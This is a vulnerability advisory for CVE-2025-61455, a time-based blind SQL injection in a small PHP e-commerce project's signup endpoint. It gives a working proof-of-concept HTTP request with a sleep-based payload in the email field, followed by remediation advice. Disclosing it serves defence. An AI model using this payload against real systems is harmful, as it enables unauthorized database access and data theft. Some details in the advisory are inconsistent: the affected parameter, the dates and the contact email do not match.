## https://sploitus.com/exploit?id=4F156C42-BAC6-528D-9009-B7691171A6DC
# 🛡️ CVE Disclosure: CVE-2025-61455 — SQL Injection in E-commerce Project
**Disclosure Date:** 14 October 2025
**CVE ID:** CVE-2025-61455
**Severity:** CRITICAL (CVSS 9.8)
---
## 🧩 Summary
A critical SQL Injection vulnerability exists in `E-commerce Project v1.0`, specifically within the `signup.inc.php` endpoint. The application directly incorporates unsanitized user inputs into SQL queries, allowing unauthenticated attackers to bypass authentication and execute arbitrary SQL commands.
This issue has been assigned the identifier **CVE-2025-61455**. At the time of public disclosure, **no official patch** was available.
---
## 📦 Affected Product
- **Vendor:** Independent (Bhabishya-123)
- **Project:** [E-commerce](https://github.com/Bhabishya-123/E-commerce)
- **Version:** v1.0
- **File:** `signup.inc.php`
- **Vulnerable Endpoint:**
`https://localhost/e-commerce-main/includes/signup.inc.php`
---
## 🔬 Vulnerability Details
The application uses unsanitized input directly in SQL queries without any input validation or prepared statements. The vulnerability exists in the `aid` parameter of the `signup.inc.php` file.
An attacker can inject malicious SQL code through the email parameter, enabling time-based blind SQL injection attacks.
**Example vulnerable code pattern:**
```php
$query = "SELECT * FROM table WHERE email='$email'";
```
This allows for injection payloads that can manipulate query logic and extract sensitive data.
---
## 📌 CWE Classification
| CWE ID | Title |
|--------|-----------------------------------------------------------------------|
| [CWE-89](https://cwe.mitre.org/data/definitions/89.html) | Improper Neutralization of Special Elements used in an SQL Command |
---
## 📊 CVSS v3.1 Score
| Score | Severity | Vector String |
|-------|----------|---------------------------------------------|
| 9.8 | CRITICAL | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
---
## 💥 Impact
A successful exploitation could result in:
- ✅ Full **authentication bypass**
- 🔓 **Unauthorized access** to privileged features
- 📊 **Data exfiltration** through time-based blind SQL injection
- 🛠️ Potential **data manipulation or deletion**
- ⚠️ Full **compromise of the backend database**
- 💻 Potential for **remote code execution**
---
## 🧪 Proof of Concept (PoC)
### 1. Clone the Repository
```bash
git clone https://github.com/Bhabishya-123/E-commerce.git
```
### 2. Host Locally
Use XAMPP/LAMP to deploy the project and navigate to:
```
http://localhost/e-commerce-main/includes/signup.inc.php
```
### 3. Payload Injection
Send the following malicious HTTP request:
```http
POST /e-commerce-main/includes/signup.inc.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
name=DvYLInUG&email=fFrhKBwM@burpcollaborator.net'%2b(select*from(select(sleep(20)))a)%2b'&address=BWhKCxUw&number=666897&pwd=n7N%21j3r%21T7&rpwd=k0U%21t0f%21E9&submit=
```
**Explanation:**
The email parameter contains a time-based SQL injection payload: `'+(select*from(select(sleep(20)))a)+'`
If the application delays for 20 seconds before responding, the SQL injection is successful.
---
## 🔐 Recommendations
- ✅ Replace dynamic SQL queries with **prepared statements** (`mysqli_prepare()` or **PDO**).
- 🔍 Perform **input validation and sanitization** for all user inputs.
- 🧱 Deploy a **Web Application Firewall (WAF)** to block known SQL injection patterns.
- 🛡️ Conduct **regular code audits** and **penetration testing** for early detection.
- 🔒 Implement **parameterized queries** for all database interactions.
- 📝 Use **allowlists** for input validation where possible.
---
## 📆 Timeline
| Event | Date |
|--------------------------|----------------|
| Vulnerability Discovered | 16 September 2025 |
| Public Disclosure | 13 October 2025 |
| Patch Available | ❌ Not available as of disclosure |
---
## 🙋♂️ Credits
This vulnerability was discovered and responsibly disclosed by:
**Tansique Dasari**
🔗 [GitHub](https://github.com/tansique-17)
✉️ [tansique.d@gmail.com](mailto:tansique.17@gmail.com)
---
## 🔗 References
- [OWASP - SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
- [PortSwigger - SQL Injection](https://portswigger.net/web-security/sql-injection)
- [CVE-2025-61455 on CVE.org](https://cve.org/CVERecord?id=CVE-2025-61455)
---
> 💬 *This advisory is published independently due to lack of vendor response.*